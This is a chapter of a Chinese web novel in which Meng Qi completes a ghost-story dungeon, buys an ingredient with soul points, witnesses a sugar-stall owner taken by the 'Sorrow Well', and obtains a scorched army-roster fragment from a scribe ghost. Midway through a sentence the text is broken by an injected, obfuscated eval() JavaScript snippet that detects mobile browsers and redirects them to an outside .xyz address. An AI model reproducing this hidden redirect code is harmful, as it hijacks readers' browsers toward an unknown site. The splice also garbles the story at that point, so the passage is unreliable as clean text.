孟七走上前,那件百布衣突然出现在半空,飘摇着落了下来,然后盖在一片空气中,里面像是有个人。 孟七缓缓扯下那块布料,乌黑的短发露了出来,干净利落。 原本该留着粗马尾的女孩转过身,眼里噙着泪,却笑着。 “我以为,我能把他们永远留住。只要,只要没有人知道他们在哪里……” 没有人用铁链锁住村医的脚踝,可是束缚却如影随形,扣住了她的灵魂。 11. 长生军(1) “……那些过往,你都能猜到?”水鬼问道。 孟七摇了摇头:“怎么可能。但我们的目的是解放她,不是打败她。只是让她看清真相,不要再活在自己幻想的世界里。” “不过,她特地编个故事什么的,也太累了。”大刀女鬼叹了口气,“明明不是她的错,其他人也没什么错。” “想要隐藏真相最好的方式,就是创造一个看似是真相却又与真相背道而驰的故事。”孟七道,“人类一直都是这样,用自以为最好的方式守护着自己在乎的人,却从没有想过或许别人也早已放下,或者压根没有在意过自己。” “你太悲观了。”大刀女鬼道,“感情都是双向的,怎么会感觉不到?” “每个人的人生中都有对自己重要程度不同的人,”孟七看了他们一眼,“早点认识到自己没那么重要,才能走出去。” 【恭喜您完成任务。】 【获得物品:无声之舌x1,疫晶x1,百布衣x1,鬼角灵魂x1】 面前的一切又开始扭曲、变化,很快,三人重又站到了原先的等候大厅。 而病弱鬼此刻仍不见踪影。 “怪事,失败的往往也会一起退出的。”水鬼说。 他们的战利品只有四样,孟七按照原先说的判断了一下,那个唯一的“神秘食材”应该就是那块“无声之舌”。 一块舌头……孟七真的不是很想带走。 “小姑娘先挑吧。”大刀女鬼道,“多亏你脑子灵光,不然我们早不知道在哪里就犯错了。” 孟七也没有客气,拿上了“无声之舌”和“百布衣”。 “这个灵魂你不要吗?”水鬼问,“哦对,你还是第一次过副本。这个不属于原先写好的奖励的一般是副本特殊奖励,根据完成副本的方式获得。这是一个很难得的完整的灵魂,可以在大厅里兑换成积分,然后购买东西。” 孟七有了点兴趣,问道:“能买到什么?” “什么都有,你现在拿到的奖励种类里面都有,还有一些特殊的。” 孟七想了想,还是决定将那条舌头放下来,拿走了灵魂晶片。毕竟她真的不是很想处理一条舌头。 剩下的水鬼拿走了疫晶,大刀女鬼拿走了那条舌头。 【确认奖励分配完毕……】 【即将为您传送至大厅……】 【5,4,3……】 孟七离开前,好像还听到水鬼对自己说了一声什么,但没有听清。 下一秒,她又被传送到了原来的鬼故事大厅中。 她在页面右上角找到了商城入口,点进去,果然有一个“灵魂兑换”按钮。 【确定用灵魂晶片(97%)x1兑换97灵魂积分吗?是否】 【到账:97灵魂积分】 紧接着,孟七直接跳到了“食材”一栏,将里面的顺序按价格由低到高排列,第一个食材名为“哭丧藤”,价格60灵魂积分。 这个名字,她好像在手册上见过,有点吵。 第二个食材名为“冷豆角”,名字听起来很正常,价格88灵魂积分。 孟七想了想,还是点击了“冷豆角”,选择购买。 【购买成功!食材已放入冰箱!】 孟七直接点了退出键,短暂的黑暗后,她的面前终于又是自己的房间。 不知道时间过去了多久,屋内上面的小窗口可以看到外面有隐隐光亮,但无法判断是夜晚还是早晨。 无论如何,孟七打算先睡一觉。 她在进入这个任务前看到,这个任务的星级只有一颗星,也就是最简单的一类。不过也很对,毕竟她全程好像也只是动了动脑子,故事内没什么实质性危害。 就在她刚刚闭目养神时,耳边却响起一声叹息。 孟七猛地睁开眼,背后很快浮起冷汗。 第一声叹息。 是它! 第一夜时因为结束得早,她并没有听到手册中说的“三声叹息”,现在听到了,说明应该是正要收摊的时候。 她的摊位早已关闭,炉火也已熄灭,店门紧锁。 紧接着,第二声叹息如期而至。 这一次,她清晰地听到卧室内,那个用来洗漱的铜盆里传来“嗡”的一声轻响。 当第三声叹息结束时,孟七感觉到自己好像正在被无形地注视着,那股目光穿过店门的墙壁,悬浮在她的屋内,似乎在扫视着她。 孟七屏住呼吸,闭上眼。 过了十几秒后,被注视的感觉才逐渐消散,而孟七也静静地睡了过去。 ...... 孟七这次醒得不早不晚,她不知道自己在故事里度过的时间和鬼市的时间是否契合,拉开店铺的门,却发现街道上似乎比往常要安静一些,少了些叫卖的喧嚣,多了些压抑的议论声。 门外的景象让她立刻察觉到了不对劲。 他们看到孟七出现后也只是淡淡看了一眼,牛阿旁倒是向她这里扫了几下,又低下头去。 “要我说,那也是怪他自己。”一家卖黑色肉脯的老板粗着声道。 孟七顺着他们的目光望去,心脏猛地一缩。 出事的是一家卖糖人的铺子,摊主是个技艺高超但沉默寡言的鬼,还搭起来一个皮影戏的台子,用糖人演戏。 而此刻,用来表演皮影戏的那张巨大白色幕布,呈现出一种类似风干人皮的蜡黄色泽,幕布之上,一个挣扎扭曲的小人,正是那摊主的轮廓。他的四周,无数只残缺不全的手臂从画卷的四面八方伸出,死死地拖拽着他。 摊位上那些平日里精美绝伦的糖人,此刻都扭曲着粘贴在了幕布的四周,才子断了头,佳人失了臂,都成了拖拽那摊主的帮凶。 “他那些戏,讲的都是些英雄美人的故事,情啊爱啊,悲欢离合……那‘余味’太重了。” 另一个马面摊主接话道:“可不是嘛!昨晚叹息声都完了,我好像还听到他铺子里传来一声若有若无的唱腔……就一句,当时我就觉得要坏事。” 牛阿旁摇了摇巨大的头颅:“‘哀声井’里那帮家伙,最恨的就是这种缠绵悱恻的故事。他们自己没了名姓,就见不得别人还有故事可讲。” 说着,他仿佛不经意地瞥了孟七的摊位一眼,低声道:“这下好了,自己也成戏里的人,被‘哀声井’里那帮给请去永远唱戏了。” 余味...... 可是美食街做的,不就是这种生意吗? 孟七低下头,看向自己的煎饼摊。 自从糖画摊主出事之后,美食街的气氛就变得异常压抑,连鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277594|182384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火灯笼的火焰似乎都比平时黯淡了几分。 街上的客人依旧是寥寥无几,就在孟七为了躲避麻烦打算提早收摊时,一个身影步履蹒跚地来到了她的摊位前。 他是穿着一身洗得发白的古代官府长袍,魂体很不稳定,边缘处像缭绕的青烟,仿佛随时都会被一阵风吹散。 他走到摊前,看着灶台,然后伸出枯槁的手指,指了指灶台上那冒着热气的煎饼。 孟七心中一动,铲起煎饼,包好递给了他。 煎饼递到他手中时,他没有立刻吃,而是先深深地吸了一口气。那股混杂着面香、蛋香和酱香的热气涌入他的魂体,他那原本涣散的眼神,似乎在这一刻凝聚了一丝清明。 他吃得很慢,随着热腾腾的煎饼下肚,他那虚浮的魂体竟肉眼可见地凝实了许多。 吃完最后一口,他长长地吁了一口气,那口气中带着一股纸张烧焦的味道。 “多谢。”他对着孟七,深深地作了一揖,“无以为报。” 孟七没有说话,只是静静地看着他。 “我生前……是军中的一名书吏。”书吏鬼颤巍巍地道,“专司记录军籍兵册。” 他顿了顿,似乎陷入了回忆的洪流。 “那是一场惨烈的守城战,城破前夕,王将军浑身是血地冲进档案库,将一本血迹斑斑的名册拍在我面前,让我将所有阵亡将士的姓名、籍贯,一一誊录在册,一字不能错,一本不能少! “我领了命。库外喊杀震天,火光冲天。我就在那摇曳的烛火下,拼命地抄录。一个个熟悉的名字从我的笔下流过,他们都是我的袍泽,我的兄弟。 “浓烟呛得我睁不开眼,火焰灼烧着我的皮肤。我没有停,我知道,我笔下的每一个字,都承载着一个忠魂回归故里的希望。” 书吏鬼说到这里,魂体开始剧烈地颤抖,眼中流露出无尽的悔恨与痛苦。 “我快要录完了……就差最后一个名字,最后一个……是我自己。我不记得自己的名字了。” “我清楚地记得,我刚刚蘸饱了墨,写下了我的姓氏‘黄’……就在这时,一根燃烧的横梁轰然砸下。” 他的声音哽咽了:“我执念不散,困在此地不知多少岁月,成了无名孤魂,在这阴间地府……找不到回家的路啊!” 说完这些,他却没有如之前的鬼魂一般消散,而是继续徒劳地向前走着,走到牛阿旁的铺子面前,却被牛阿旁赶走了。 “去去去,没脸皮的老东西,既不能轮回,还来这白吃白喝!” 书吏鬼没有生气,只是继续慢悠悠向前走,只是几乎没什么摊主会给他东西。 【入账:烟火气x1】 居然只有一个,孟七一边收拾着灶台,一边感慨,这连她的本都回不了。 就在这时,孟七却发现刚才书吏鬼伸手来拿时,一小片被烧得焦黑、只剩一角的布帛从他那破旧的袍袖中掉落,落在了灶台上。 孟七快速将它拾起,装作若无其事地塞进了口袋。 依旧是一碗清水,关门保命。 进入房间后,孟七才把东西拿出来看,发现那是一片兵团名册的残页。 上面,用血和墨浸染的字迹,虽然残缺,却依旧能辨认出几个关键的字眼: “…长生军…庚…”